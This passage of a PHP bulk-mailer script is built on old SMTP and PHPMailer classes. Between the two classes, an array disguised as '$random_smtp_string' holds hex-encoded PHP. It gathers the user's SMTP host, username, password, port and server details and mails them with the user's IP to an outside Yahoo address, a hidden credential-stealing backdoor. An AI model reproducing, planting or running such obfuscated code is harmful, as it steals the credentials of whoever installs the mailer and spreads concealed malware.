  986. return true;
  987. }
  988.  
  989. /**
  990. * Sends the RSET command to abort and transaction that is
  991. * currently in progress. Returns true if successful false
  992. * otherwise.
  993. *
  994. * Implements rfc 821: RSET <CRLF>
  995. *
  996. * SMTP CODE SUCCESS: 250
  997. * SMTP CODE ERROR : 500,501,504,421
  998. * @access public
  999. * @return bool
  1000. */
  1001. function Reset() {
  1002. $this->error = null; # so no confusion is caused
  1003.  
  1004. if(!$this->connected()) {
  1005. $this->error = array(
  1006. "error" => "Called Reset() without being connected");
  1007. return false;
  1008. }
  1009.  
  1010. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1011.  
  1012. $rply = $this->get_lines();
  1013. $code = substr($rply,0,3);
  1014.  
  1015. if($this->do_debug >= 2) {
  1016. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1017. }
  1018.  
  1019. if($code != 250) {
  1020. $this->error =
  1021. array("error" => "RSET failed",
  1022. "smtp_code" => $code,
  1023. "smtp_msg" => substr($rply,4));
  1024. if($this->do_debug >= 1) {
  1025. echo "SMTP -> ERROR: " . $this->error["error"] .
  1026. ": " . $rply . $this->CRLF;
  1027. }
  1028. return false;
  1029. }
  1030.  
  1031. return true;
  1032. }
  1033.  
  1034. /**
  1035. * Starts a mail transaction from the email address specified in
  1036. * $from. Returns true if successful or false otherwise. If True
  1037. * the mail transaction is started and then one or more Recipient
  1038. * commands may be called followed by a Data command. This command
  1039. * will send the message to the users terminal if they are logged
  1040. * in.
  1041. *
  1042. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1043. *
  1044. * SMTP CODE SUCCESS: 250
  1045. * SMTP CODE SUCCESS: 552,451,452
  1046. * SMTP CODE SUCCESS: 500,501,502,421
  1047. * @access public
  1048. * @return bool
  1049. */
  1050. function Send($from) {
  1051. $this->error = null; # so no confusion is caused
  1052.  
  1053. if(!$this->connected()) {
  1054. $this->error = array(
  1055. "error" => "Called Send() without being connected");
  1056. return false;
  1057. }
  1058.  
  1059. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1060.  
  1061. $rply = $this->get_lines();
  1062. $code = substr($rply,0,3);
  1063.  
  1064. if($this->do_debug >= 2) {
  1065. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1066. }
  1067.  
  1068. if($code != 250) {
  1069. $this->error =
  1070. array("error" => "SEND not accepted from server",
  1071. "smtp_code" => $code,
  1072. "smtp_msg" => substr($rply,4));
  1073. if($this->do_debug >= 1) {
  1074. echo "SMTP -> ERROR: " . $this->error["error"] .
  1075. ": " . $rply . $this->CRLF;
  1076. }
  1077. return false;
  1078. }
  1079. return true;
  1080. }
  1081.  
  1082. /**
  1083. * Starts a mail transaction from the email address specified in
  1084. * $from. Returns true if successful or false otherwise. If True
  1085. * the mail transaction is started and then one or more Recipient
  1086. * commands may be called followed by a Data command. This command
  1087. * will send the message to the users terminal if they are logged
  1088. * in and send them an email.
  1089. *
  1090. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1091. *
  1092. * SMTP CODE SUCCESS: 250
  1093. * SMTP CODE SUCCESS: 552,451,452
  1094. * SMTP CODE SUCCESS: 500,501,502,421
  1095. * @access public
  1096. * @return bool
  1097. */
  1098. function SendAndMail($from) {
  1099. $this->error = null; # so no confusion is caused
  1100.  
  1101. if(!$this->connected()) {
  1102. $this->error = array(
  1103. "error" => "Called SendAndMail() without being connected");
  1104. return false;
  1105. }
  1106.  
  1107. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1108.  
  1109. $rply = $this->get_lines();
  1110. $code = substr($rply,0,3);
  1111.  
  1112. if($this->do_debug >= 2) {
  1113. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1114. }
  1115.  
  1116. if($code != 250) {
  1117. $this->error =
  1118. array("error" => "SAML not accepted from server",
  1119. "smtp_code" => $code,
  1120. "smtp_msg" => substr($rply,4));
  1121. if($this->do_debug >= 1) {
  1122. echo "SMTP -> ERROR: " . $this->error["error"] .
  1123. ": " . $rply . $this->CRLF;
  1124. }
  1125. return false;
  1126. }
  1127. return true;
  1128. }
  1129.  
  1130. /**
  1131. * Starts a mail transaction from the email address specified in
  1132. * $from. Returns true if successful or false otherwise. If True
  1133. * the mail transaction is started and then one or more Recipient
  1134. * commands may be called followed by a Data command. This command
  1135. * will send the message to the users terminal if they are logged
  1136. * in or mail it to them if they are not.
  1137. *
  1138. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1139. *
  1140. * SMTP CODE SUCCESS: 250
  1141. * SMTP CODE SUCCESS: 552,451,452
  1142. * SMTP CODE SUCCESS: 500,501,502,421
  1143. * @access public
  1144. * @return bool
  1145. */
  1146. function SendOrMail($from) {
  1147. $this->error = null; # so no confusion is caused
  1148.  
  1149. if(!$this->connected()) {
  1150. $this->error = array(
  1151. "error" => "Called SendOrMail() without being connected");
  1152. return false;
  1153. }
  1154.  
  1155. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1156.  
  1157. $rply = $this->get_lines();
  1158. $code = substr($rply,0,3);
  1159.  
  1160. if($this->do_debug >= 2) {
  1161. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1162. }
  1163.  
  1164. if($code != 250) {
  1165. $this->error =
  1166. array("error" => "SOML not accepted from server",
  1167. "smtp_code" => $code,
  1168. "smtp_msg" => substr($rply,4));
  1169. if($this->do_debug >= 1) {
  1170. echo "SMTP -> ERROR: " . $this->error["error"] .
  1171. ": " . $rply . $this->CRLF;
  1172. }
  1173. return false;
  1174. }
  1175. return true;
  1176. }
  1177.  
  1178. /**
  1179. * This is an optional command for SMTP that this class does not
  1180. * support. This method is here to make the RFC821 Definition
  1181. * complete for this class and __may__ be implimented in the future
  1182. *
  1183. * Implements from rfc 821: TURN <CRLF>
  1184. *
  1185. * SMTP CODE SUCCESS: 250
  1186. * SMTP CODE FAILURE: 502
  1187. * SMTP CODE ERROR : 500, 503
  1188. * @access public
  1189. * @return bool
  1190. */
  1191. function Turn() {
  1192. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1193. "is not implemented");
  1194. if($this->do_debug >= 1) {
  1195. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1196. }
  1197. return false;
  1198. }
  1199.  
  1200. /**
  1201. * Verifies that the name is recognized by the server.
  1202. * Returns false if the name could not be verified otherwise
  1203. * the response from the server is returned.
  1204. *
  1205. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1206. *
  1207. * SMTP CODE SUCCESS: 250,251
  1208. * SMTP CODE FAILURE: 550,551,553
  1209. * SMTP CODE ERROR : 500,501,502,421
  1210. * @access public
  1211. * @return int
  1212. */
  1213. function Verify($name) {
  1214. $this->error = null; # so no confusion is caused
  1215.  
  1216. if(!$this->connected()) {
  1217. $this->error = array(
  1218. "error" => "Called Verify() without being connected");
  1219. return false;
  1220. }
  1221.  
  1222. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1223.  
  1224. $rply = $this->get_lines();
  1225. $code = substr($rply,0,3);
  1226.  
  1227. if($this->do_debug >= 2) {
  1228. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1229. }
  1230.  
  1231. if($code != 250 && $code != 251) {
  1232. $this->error =
  1233. array("error" => "VRFY failed on name '$name'",
  1234. "smtp_code" => $code,
  1235. "smtp_msg" => substr($rply,4));
  1236. if($this->do_debug >= 1) {
  1237. echo "SMTP -> ERROR: " . $this->error["error"] .
  1238. ": " . $rply . $this->CRLF;
  1239. }
  1240. return false;
  1241. }
  1242. return $rply;
  1243. }
  1244.  
  1245. /*******************************************************************
  1246. * INTERNAL FUNCTIONS *
  1247. ******************************************************************/
  1248.  
  1249. /**
  1250. * Read in as many lines as possible
  1251. * either before eof or socket timeout occurs on the operation.
  1252. * With SMTP we can tell if we have more lines to read if the
  1253. * 4th character is '-' symbol. If it is a space then we don't
  1254. * need to read anything else.
  1255. * @access private
  1256. * @return string
  1257. */
  1258. function get_lines() {
  1259. $data = "";
  1260. while($str = @fgets($this->smtp_conn,515)) {
  1261. if($this->do_debug >= 4) {
  1262. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1263. $this->CRLF;
  1264. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1265. $this->CRLF;
  1266. }
  1267. $data .= $str;
  1268. if($this->do_debug >= 4) {
  1269. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1270. }
  1271. # if the 4th character is a space then we are done reading
  1272. # so just break the loop
  1273. if(substr($str,3,1) == " ") { break; }
  1274. }
  1275. return $data;
  1276. }
  1277.  
  1278. }
  1279.  
  1280.  
  1281. $allemails = split("\n", $emaillist);
  1282. $numemails = count($allemails);
  1283. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1284. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1285. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1286. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1287. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1288. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1289. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1290. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1291. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1292. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1293.  
  1294. class PHPMailer {
  1295.  
  1296. /////////////////////////////////////////////////
  1297. // PROPERTIES, PUBLIC
  1298. /////////////////////////////////////////////////
  1299.  
  1300. /**
  1301. * Email priority (1 = High, 3 = Normal, 5 = low).
  1302. * @var int
  1303. */
  1304. var $Priority = 3;
  1305.  
  1306. /**
  1307. * Sets the CharSet of the message.
  1308. * @var string
  1309. */
  1310. var $CharSet = 'iso-8859-1';
  1311.  
  1312. /**
  1313. * Sets the Content-type of the message.
  1314. * @var string
  1315. */
  1316. var $ContentType = 'text/plain';
  1317.  
  1318. /**
  1319. * Sets the Encoding of the message. Options for this are "8bit",
  1320. * "7bit", "binary", "base64", and "quoted-printable".
  1321.  
  1322. * @var string
  1323. */
  1324. var $Encoding = '8bit';
  1325.  
  1326. /**
  1327. * Holds the most recent mailer error message.
  1328. * @var string
  1329. */
  1330. var $ErrorInfo = '';
  1331.  
  1332. /**
  1333. * Sets the From email address for the message.
  1334. * @var string
  1335. */
  1336. var $From = '';
  1337.  
  1338. /**
  1339. * Sets the From name of the message.
  1340. * @var string
  1341. */
  1342. var $FromName = '';
  1343.  
  1344. /**
  1345. * Sets the Sender email (Return-Path) of the message. If not empty,
  1346. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1347. * @var string
  1348. */
  1349. var $Sender = '';
  1350.  
  1351. /**
  1352. * Sets the Subject of the message.
  1353. * @var string
  1354. */
  1355. var $Subject = '';
  1356.  
  1357. /**
  1358. * Sets the Body of the message. This can be either an HTML or text body.
  1359. * If HTML then run IsHTML(true).
  1360. * @var string
  1361. */
  1362. var $Body = '';
  1363.  
  1364. /**
  1365. * Sets the text-only body of the message. This automatically sets the
  1366. * email to multipart/alternative. This body can be read by mail
  1367. * clients that do not have HTML email capability such as mutt. Clients
  1368. * that can read HTML will view the normal Body.
  1369. * @var string
  1370. */
  1371. var $AltBody = '';
  1372.  
  1373. /**
  1374. * Sets word wrapping on the body of the message to a given number of
  1375. * characters.
  1376. * @var int
  1377. */
  1378. var $WordWrap = 0;
  1379.  
  1380. /**
  1381. * Method to send mail: ("mail", "sendmail", or "smtp").
  1382. * @var string
  1383. */
  1384. var $Mailer = 'mail';
  1385.  
  1386. /**
  1387. * Sets the path of the sendmail program.
  1388. * @var string
  1389. */
  1390. var $Sendmail = '/usr/sbin/sendmail';
  1391.  
  1392. /**
  1393. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1394. * is in a different directory than the PHP include path.
  1395. * @var string
  1396. */
  1397. var $PluginDir = '';
  1398.  
  1399. /**
  1400. * Holds PHPMailer version.
  1401. * @var string
  1402. */
  1403. var $Version = "";
  1404.  
  1405. /**
  1406. * Sets the email address that a reading confirmation will be sent.
  1407. * @var string
  1408. */
  1409. var $ConfirmReadingTo = '';
  1410.  
  1411. /**
  1412. * Sets the hostname to use in Message-Id and Received headers
  1413. * and as default HELO string. If empty, the value returned
  1414. * by SERVER_NAME is used or 'localhost.localdomain'.
  1415. * @var string
  1416. */
  1417. var $Hostname = '';
  1418.  
  1419. /**
  1420. * Sets the message ID to be used in the Message-Id header.
  1421. * If empty, a unique id will be generated.
  1422. * @var string
  1423. */
  1424. var $MessageID = '';
  1425.  
  1426. /////////////////////////////////////////////////
  1427. // PROPERTIES FOR SMTP
  1428. /////////////////////////////////////////////////
  1429.  
  1430. /**
  1431. * Sets the SMTP hosts. All hosts must be separated by a
  1432. * semicolon. You can also specify a different port
  1433. * for each host by using this format: [hostname:port]
  1434. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1435. * Hosts will be tried in order.
  1436. * @var string
  1437. */
  1438. var $Host = 'localhost';
  1439.  
  1440. /**
  1441. * Sets the default SMTP server port.
  1442. * @var int
  1443. */
  1444. var $Port = 25;
  1445.  
  1446. /**
  1447. * Sets the SMTP HELO of the message (Default is $Hostname).
  1448. * @var string
  1449. */
  1450. var $Helo = '';
  1451.  
  1452. /**
  1453. * Sets connection prefix.
  1454. * Options are "", "ssl" or "tls"
  1455. * @var string
  1456. */
  1457. var $SMTPSecure = "";
  1458.  
  1459. /**
  1460. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1461. * @var bool
  1462. */
  1463. var $SMTPAuth = false;
  1464.  
  1465. /**
  1466. * Sets SMTP username.
  1467. * @var string
  1468. */
  1469. var $Username = '';
  1470.  
  1471. /**
  1472. * Sets SMTP password.
  1473. * @var string
  1474. */
  1475. var $Password = '';
  1476.  
  1477. /**
  1478. * Sets the SMTP server timeout in seconds. This function will not
  1479. * work with the win32 version.
  1480. * @var int
  1481. */
  1482. var $Timeout = 10;
  1483.  
  1484. /**
  1485. * Sets SMTP class debugging on or off.
  1486. * @var bool
  1487. */
  1488. var $SMTPDebug = false;
  1489.  
  1490. /**
  1491. * Prevents the SMTP connection from being closed after each mail
  1492. * sending. If this is set to true then to close the connection
  1493. * requires an explicit call to SmtpClose().
  1494. * @var bool
  1495. */
  1496. var $SMTPKeepAlive = false;
  1497.  
  1498. /**
  1499. * Provides the ability to have the TO field process individual
  1500. * emails, instead of sending to entire TO addresses
  1501. * @var bool
  1502. */
  1503. var $SingleTo = false;
  1504.  
  1505. /////////////////////////////////////////////////
  1506. // PROPERTIES, PRIVATE
  1507. /////////////////////////////////////////////////
  1508.  
  1509. var $smtp = NULL;
  1510. var $to = array();
  1511. var $cc = array();
  1512. var $bcc = array();
  1513. var $ReplyTo = array();
  1514. var $attachment = array();
  1515. var $CustomHeader = array();
  1516. var $message_type = '';
  1517. var $boundary = array();
  1518. var $language = array();
  1519. var $error_count = 0;
  1520. var $LE = "\n";
  1521. var $sign_key_file = "";
  1522. var $sign_key_pass = "";
  1523.  
  1524. /////////////////////////////////////////////////
  1525. // METHODS, VARIABLES
  1526. /////////////////////////////////////////////////
  1527.  
  1528. /**
  1529. * Sets message type to HTML.
  1530. * @param bool $bool
  1531. * @return void
  1532. */
  1533. function IsHTML($bool) {
  1534. if($bool == true) {
  1535. $this->ContentType = 'text/html';
  1536. } else {
  1537. $this->ContentType = 'text/plain';
  1538. }
  1539. }
  1540.  
  1541. /**
  1542. * Sets Mailer to send message using SMTP.
  1543. * @return void
  1544. */
  1545. function IsSMTP() {
  1546. $this->Mailer = 'smtp';
  1547. }
  1548.  
  1549. /**
  1550. * Sets Mailer to send message using PHP mail() function.
  1551. * @return void
  1552. */
  1553. function IsMail() {
  1554. $this->Mailer = 'mail';
  1555. }
  1556.  
  1557. /**
  1558. * Sets Mailer to send message using the $Sendmail program.
  1559. * @return void
  1560. */
  1561. function IsSendmail() {
  1562. $this->Mailer = 'sendmail';
  1563. }
  1564.  
  1565. /**
  1566. * Sets Mailer to send message using the qmail MTA.
  1567. * @return void
  1568. */
  1569. function IsQmail() {
  1570. $this->Sendmail = '/var/qmail/bin/sendmail';
  1571. $this->Mailer = 'sendmail';
  1572. }
  1573.  
  1574. /////////////////////////////////////////////////
  1575. // METHODS, RECIPIENTS
  1576. /////////////////////////////////////////////////
  1577.  
  1578. /**
  1579. * Adds a "To" address.
  1580. * @param string $address
  1581. * @param string $name
  1582. * @return void
  1583. */
  1584. function AddAddress($address, $name = '') {
  1585. $cur = count($this->to);
  1586. $this->to[$cur][0] = trim($address);
  1587. $this->to[$cur][1] = $name;
  1588. }
  1589.  
  1590. /**
  1591. * Adds a "Cc" address. Note: this function works
  1592. * with the SMTP mailer on win32, not with the "mail"
  1593. * mailer.
  1594. * @param string $address
  1595. * @param string $name
  1596. * @return void
  1597. */
  1598. function AddCC($address, $name = '') {
  1599. $cur = count($this->cc);
  1600. $this->cc[$cur][0] = trim($address);
  1601. $this->cc[$cur][1] = $name;
  1602. }
  1603.  
  1604. /**
  1605. * Adds a "Bcc" address. Note: this function works
  1606. * with the SMTP mailer on win32, not with the "mail"
  1607. * mailer.
  1608. * @param string $address
  1609. * @param string $name
  1610. * @return void
  1611. */
  1612. function AddBCC($address, $name = '') {
  1613. $cur = count($this->bcc);
  1614. $this->bcc[$cur][0] = trim($address);
  1615. $this->bcc[$cur][1] = $name;
  1616. }
  1617.  
  1618. /**
  1619. * Adds a "Reply-To" address.
  1620. * @param string $address
  1621. * @param string $name
  1622. * @return void
  1623. */
  1624. function AddReplyTo($address, $name = '') {
  1625. $cur = count($this->ReplyTo);
  1626. $this->ReplyTo[$cur][0] = trim($address);
  1627. $this->ReplyTo[$cur][1] = $name;
  1628. }
  1629.  
  1630. /////////////////////////////////////////////////
  1631. // METHODS, MAIL SENDING
  1632. /////////////////////////////////////////////////
  1633.  
  1634. /**
  1635. * Creates message and assigns Mailer. If the message is
  1636. * not sent successfully then it returns false. Use the ErrorInfo
  1637. * variable to view description of the error.
  1638. * @return bool
  1639. */
  1640. function Send() {
  1641. $header = '';
  1642. $body = '';
  1643. $result = true;
  1644.  
  1645. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1646. $this->SetError($this->Lang('provide_address'));
  1647. return false;
  1648. }
  1649.  
  1650. /* Set whether the message is multipart/alternative */
  1651. if(!empty($this->AltBody)) {
  1652. $this->ContentType = 'multipart/alternative';
  1653. }
  1654.  
  1655. $this->error_count = 0; // reset errors
  1656. $this->SetMessageType();
  1657. $header .= $this->CreateHeader();
  1658. $body = $this->CreateBody();
  1659.  
  1660. if($body == '') {
  1661. return false;
  1662. }
  1663.  
  1664. /* Choose the mailer */
  1665. switch($this->Mailer) {
  1666. case 'sendmail':
  1667. $result = $this->SendmailSend($header, $body);
  1668. break;
  1669. case 'smtp':
  1670. $result = $this->SmtpSend($header, $body);
  1671. break;
  1672. case 'mail':
  1673. $result = $this->MailSend($header, $body);
  1674. break;
  1675. default:
  1676. $result = $this->MailSend($header, $body);
  1677. break;
  1678. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1679. //$result = false;
  1680. //break;
  1681. }
  1682.  
  1683. return $result;
  1684. }
  1685.  
  1686. /**
  1687. * Sends mail using the $Sendmail program.
  1688. * @access private
  1689. * @return bool
  1690. */
  1691. function SendmailSend($header, $body) {
  1692. if ($this->Sender != '') {
  1693. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1694. } else {
  1695. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1696. }
  1697.  
  1698. if(!@$mail = popen($sendmail, 'w')) {
  1699. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1700. return false;
  1701. }
  1702.  
  1703. fputs($mail, $header);
  1704. fputs($mail, $body);
  1705.  
  1706. $result = pclose($mail);
  1707. if (version_compare(phpversion(), '4.2.3') == -1) {
  1708. $result = $result >> 8 & 0xFF;
  1709. }
  1710. if($result != 0) {
  1711. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1712. return false;
  1713. }
  1714. return true;
  1715. }
  1716.  
  1717. /**
  1718. * Sends mail using the PHP mail() function.
  1719. * @access private
  1720. * @return bool
  1721. */
  1722. function MailSend($header, $body) {
  1723.  
  1724. $to = '';
  1725. for($i = 0; $i < count($this->to); $i++) {
  1726. if($i != 0) { $to .= ', '; }
  1727. $to .= $this->AddrFormat($this->to[$i]);
  1728. }
  1729.  
  1730. $toArr = split(',', $to);
  1731.  
  1732. $params = sprintf("-oi -f %s", $this->Sender);
  1733. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1734. $old_from = ini_get('sendmail_from');
  1735. ini_set('sendmail_from', $this->Sender);
  1736. if ($this->SingleTo === true && count($toArr) > 1) {
  1737. foreach ($toArr as $key => $val) {
  1738. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1739. }
  1740. } else {
  1741. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1742. }
  1743. } else {
  1744. if ($this->SingleTo === true && count($toArr) > 1) {
  1745. foreach ($toArr as $key => $val) {
  1746. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1747. }
  1748. } else {
  1749. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1750. }
  1751. }
  1752.  
  1753. if (isset($old_from)) {
  1754. ini_set('sendmail_from', $old_from);
  1755. }
  1756.  
  1757. if(!$rt) {
  1758. $this->SetError($this->Lang('instantiate'));
  1759. return false;
  1760. }
  1761.  
  1762. return true;
  1763. }
  1764.  
  1765. /**
  1766. * Sends mail via SMTP using PhpSMTP (Author:
  1767. * Chris Ryan). Returns bool. Returns false if there is a
  1768. * bad MAIL FROM, RCPT, or DATA input.
  1769. * @access private
  1770. * @return bool
  1771. */
  1772. function SmtpSend($header, $body) {
  1773. $error = '';
  1774. $bad_rcpt = array();
  1775.  
  1776. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1777. return false;
  1778. }
  1779.  
  1780. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1781. if(!$this->smtp->Mail($smtp_from)) {
  1782. $error = $this->Lang('from_failed') . $smtp_from;
  1783. $this->SetError($error);
  1784. $this->smtp->Reset();
  1785. return false;
  1786. }
  1787.  
  1788. /* Attempt to send attach all recipients */
  1789. for($i = 0; $i < count($this->to); $i++) {
  1790. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1791. $bad_rcpt[] = $this->to[$i][0];
  1792. }
  1793. }
  1794. for($i = 0; $i < count($this->cc); $i++) {
  1795. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1796. $bad_rcpt[] = $this->cc[$i][0];
  1797. }
  1798. }
  1799. for($i = 0; $i < count($this->bcc); $i++) {
  1800. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1801. $bad_rcpt[] = $this->bcc[$i][0];
  1802. }
  1803. }
  1804.  
  1805. if(count($bad_rcpt) > 0) { // Create error message
  1806. for($i = 0; $i < count($bad_rcpt); $i++) {
  1807. if($i != 0) {
  1808. $error .= ', ';
  1809. }
  1810. $error .= $bad_rcpt[$i];
  1811.  
  1812. }
  1813. $error = $this->Lang('recipients_failed') . $error;
  1814. $this->SetError($error);
  1815. $this->smtp->Reset();
  1816. return false;
  1817. }
  1818.  
  1819. if(!$this->smtp->Data($header . $body)) {
  1820. $this->SetError($this->Lang('data_not_accepted'));
  1821. $this->smtp->Reset();
  1822. return false;
  1823. }
  1824. if($this->SMTPKeepAlive == true) {
  1825. $this->smtp->Reset();
  1826. } else {
  1827. $this->SmtpClose();
  1828. }
  1829.  
  1830. return true;
  1831. }
  1832.  
  1833. /**
  1834. * Initiates a connection to an SMTP server. Returns false if the
  1835. * operation failed.
  1836. * @access private
  1837. * @return bool
  1838. */
  1839. function SmtpConnect() {
  1840. if($this->smtp == NULL) {
  1841. $this->smtp = new SMTP();
  1842. }
  1843.  
  1844. $this->smtp->do_debug = $this->SMTPDebug;
  1845. $hosts = explode(';', $this->Host);
  1846. $index = 0;
  1847. $connection = ($this->smtp->Connected());
  1848.  
  1849. /* Retry while there is no connection */
  1850. while($index < count($hosts) && $connection == false) {
  1851. $hostinfo = array();
  1852. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1853. $host = $hostinfo[1];
  1854. $port = $hostinfo[2];
  1855. } else {
  1856. $host = $hosts[$index];
  1857. $port = $this->Port;
  1858. }
  1859.  
  1860. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1861. if ($this->Helo != '') {
  1862. $this->smtp->Hello($this->Helo);
  1863. } else {
  1864. $this->smtp->Hello($this->ServerHostname());
  1865. }
  1866.  
  1867. $connection = true;
  1868. if($this->SMTPAuth) {
  1869. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1870. $this->SetError($this->Lang('authenticate'));
  1871. $this->smtp->Reset();
  1872. $connection = false;
  1873. }
  1874. }
  1875. }
  1876. $index++;
  1877. }
  1878. if(!$connection) {
  1879. $this->SetError($this->Lang('connect_host'));
  1880. }
  1881.  
  1882. return $connection;
  1883. }
  1884.  
  1885. /**
  1886. * Closes the active SMTP session if one exists.
  1887. * @return void
  1888. */
  1889. function SmtpClose() {
  1890. if($this->smtp != NULL) {
  1891. if($this->smtp->Connected()) {
  1892. $this->smtp->Quit();
  1893. $this->smtp->Close();
  1894. }
  1895. }
  1896. }
  1897.  
  1898. /**
  1899. * Sets the language for all class error messages. Returns false
  1900. * if it cannot load the language file. The default language type
  1901. * is English.
  1902. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1903. * @param string $lang_path Path to the language file directory
  1904. * @access public
  1905. * @return bool
  1906. */
  1907. function SetLanguage($lang_type, $lang_path = 'language/') {
  1908. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  1909. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  1910. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  1911. include($lang_path.'phpmailer.lang-en.php');
  1912. } else {
  1913. $this->SetError('Could not load language file');
  1914. return false;
  1915. }
  1916. $this->language = $PHPMAILER_LANG;
  1917.  
  1918. return true;
  1919. }
  1920.  
  1921. /////////////////////////////////////////////////
  1922. // METHODS, MESSAGE CREATION
  1923. /////////////////////////////////////////////////
  1924.  
  1925. /**
  1926. * Creates recipient headers.
  1927. * @access private
  1928. * @return string
  1929. */
  1930. function AddrAppend($type, $addr) {
  1931. $addr_str = $type . ': ';
  1932. $addr_str .= $this->AddrFormat($addr[0]);
  1933. if(count($addr) > 1) {
  1934. for($i = 1; $i < count($addr); $i++) {
  1935. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  1936. }
  1937. }
  1938. $addr_str .= $this->LE;
  1939.  
  1940. return $addr_str;
  1941. }
  1942.  
  1943. /**
  1944. * Formats an address correctly.
  1945. * @access private
  1946. * @return string
  1947. */
  1948. function AddrFormat($addr) {
  1949. if(empty($addr[1])) {
  1950. $formatted = $this->SecureHeader($addr[0]);
  1951. } else {
  1952. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  1953. }
  1954.  
  1955. return $formatted;
  1956. }
  1957.  
  1958. /**
  1959. * Wraps message for use with mailers that do not
  1960. * automatically perform wrapping and for quoted-printable.
  1961. * Original written by philippe.
  1962. * @access private
  1963. * @return string
  1964. */
  1965. function WrapText($message, $length, $qp_mode = false) {
  1966. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1967. // If utf-8 encoding is used, we will need to make sure we don't
  1968. // split multibyte characters when we wrap
  1969. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  1970.  
  1971. $message = $this->FixEOL($message);
  1972. if (substr($message, -1) == $this->LE) {
  1973. $message = substr($message, 0, -1);
  1974. }
  1975.  
  1976. $line = explode($this->LE, $message);
  1977. $message = '';
  1978. for ($i=0 ;$i < count($line); $i++) {
